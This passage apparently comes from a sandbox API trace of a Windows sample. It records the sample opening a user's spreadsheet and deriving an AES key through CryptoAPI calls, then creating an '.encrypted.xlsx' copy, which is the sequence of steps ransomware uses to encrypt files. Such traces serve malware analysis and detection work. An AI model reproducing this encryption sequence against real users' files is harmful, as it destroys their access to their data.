out: lpsz="_FILEINUSE") returned 0xa [0024.696] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.697] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.697] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41789c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.697] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41789c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.698] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.xlsx", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0024.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.xlsx", cchWideChar=55, lpMultiByteStr=0xe8f404be50, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.xlsx", lpUsedDefaultChar=0x0) returned 55 [0024.698] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\gozxv-s.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0024.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=55, lpWideCharStr=0xe8f40659f0, cchWideChar=55 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.xlsx") returned 55 [0024.699] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.699] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.699] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.699] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.699] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178700, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.700] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.700] CloseHandle (hObject=0x1fc) returned 1 [0024.700] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.700] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.700] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.700] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.700] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.700] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.700] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.700] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.700] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.700] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.700] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.701] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.701] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.701] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.701] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.701] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.701] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.701] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.701] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.702] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.702] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.702] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.702] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.702] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.702] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.702] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.703] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.703] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.703] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.703] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.703] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.703] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.703] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.703] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.703] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b840, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.703] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.704] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.704] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.704] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.704] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.704] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.704] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0024.704] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.704] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.704] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.704] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.704] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.704] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.704] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.704] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.704] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0024.705] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.705] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.706] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\gozxv-s.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.706] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.706] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.706] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai")) returned 0x10 [0024.706] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.encrypted.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\gozxv-s.encrypted.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.707] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.707] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.707] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.707] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.708] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.708] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x80b5, 